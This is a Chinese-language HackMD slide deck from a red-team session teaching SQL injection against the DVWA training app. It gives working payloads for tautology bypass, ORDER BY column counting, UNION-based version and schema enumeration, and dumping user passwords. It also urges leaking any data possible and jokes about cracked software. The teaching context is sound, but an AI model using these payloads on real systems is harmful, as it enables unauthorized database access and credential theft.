{%hackmd theme-dark %}
<!-- [TOC] -->
# SQL-Injection
###### `2020/03/14 Red-Team`
---
# $~ whoami
#### `Jeff Hung`
---
## 資料庫架構語法
> Database
>>Table
>>>Column
>>>>Row
>>>>Value
----
### 看不是很懂???
----
### 可以這樣理解
- 注意:SELECT後是加Column的名稱

---
## 測試id

----
最直觀:
```sql=
id = 1
```
有些格式長這樣:
```sql=
id = '1'
id = "1"
```
----
### 如何找全部id?
```sql=
1' OR '1'='1
```
----
## 最重要的是找欄位數量
----
### WHY?

----
### 為了使用SQL語法裡的UNION SELECT
* **UNION SELECT** 使用限制
* 與前面的欄位要相同
```sql=
SELECT id, name
FROM users
WHERE user_id='1'
UNION SELECT xxx,yyy
```
----
### 不禁有人會問,怎麼找?
----
### 可以使用ORDER BY
```sql=
SELECT id, name
FROM users
WHERE user_id='
1' ORDER BY 1#''
```
```
- 1' -> 1可以隨便打,'用來閉合前面單引號
- ORDER BY -> 用來排序
- 1# -> 使用第1欄位當排序並註解
- ' -> 用來用來閉合後面單引號
```
----
### 那要怎麼判斷有幾個欄位?
----
### 調整1' ORDER BY <font color="#f00">X</font>#'
### 直到出現錯誤

答案揭曉!總共兩個欄位
----
### 原因
- 1' order by 3#' -> **臨界點**
- 若以不存在的欄位搜尋,則會出現上一頁錯誤
- 因此發現可以使用的欄位總共兩個
----
### UNION SELECT 使用
```sql=
1' UNION SELECT 1,2 #'
```
----
### 知道了欄位個數,可否找資料庫的version?
----
### 透過version()可以找MySQL版本
```sql=
1' UNION SELECT version(),2 #'
```
```
- 2可以隨便打,只是用來湊欄位個數
```
----
### 其他資料庫版本
- MySQL: version()
- MSSQL: @@version
- Oracle: v$version(Table)
- SQLite: sqlite_version()
---
# SQL-Injection
# 三部曲
----
:::spoiler 第一部 先找資料庫名
```sql=
SELECT schema_name FROM information_schema.schemata
--得database名稱XXX
```
:::
:::spoiler 第二部 再找表格名稱
```sql=
SELECT table_name
FROM information_schema.tables
WHERE table_schema="XXX"
--得Table名稱YYY
```
:::
:::spoiler 第三部 最後找欄位名
```sql=
SELECT column_name
FROM information_schema.columns
WHERE table_schema="YYY"
```
:::
:::success
恣意操弄資料庫
:::
```sql=
SELECT password FROM users
```
---
# 查Database
::: spoiler [法一]
```sql=
1' union SELECT information_schema.TABLES.TABLE_SCHEMA,2
FROM information_schema.TABLES#''
```
:::
::: spoiler [法二]
```sql=
1' union SELECT schema_name,2
FROM information_schema.schemata #'
```
:::
---
# 查Table
::: spoiler [法一]
```sql=
1' union SELECT information_schema.TABLES.TABLE_SCHEMA,2
FROM information_schema.TABLES#''
```
:::
::: spoiler [法二]
```sql=
1' union SELECT table_name,2
FROM information_schema.tables
WHERE table_schema="dvwa" #'
```
:::
---
# 查Columns
```sql=
1' union select TABLE_NAME, COLUMN_NAME
from information_schema.COLUMNS
where table_schema="dvwa" #'
```
---
# 任意取值
* e.g.
* user_name
* password
* credit_card_number
* ID
* etc...
###### `LEAK ANYTHING YOU CAN LEAK!!`
----
``` sql=
1' union select user,password
from users #''
```

---
# 推薦Navicat<br>連線資料庫

----
* 優點
* 跨平台
* 有效率遷移資料
* 資料可以視覺化
* 缺點
* 非開源,需要收費
<br>
###### `不方便說有破解版XD`
----
軟體畫面

----
# SQLMap使用
---
# 實際案例教學
---
# 謝謝大家
{"metaMigratedAt":"2023-06-15T05:37:02.816Z","metaMigratedFrom":"YAML","title":"SQL-Injection","breaks":true,"description":"Database","contributors":"[{\"id\":\"6a610fe4-c967-47b5-84b7-1d26faef3c47\",\"add\":6267,\"del\":3091}]"}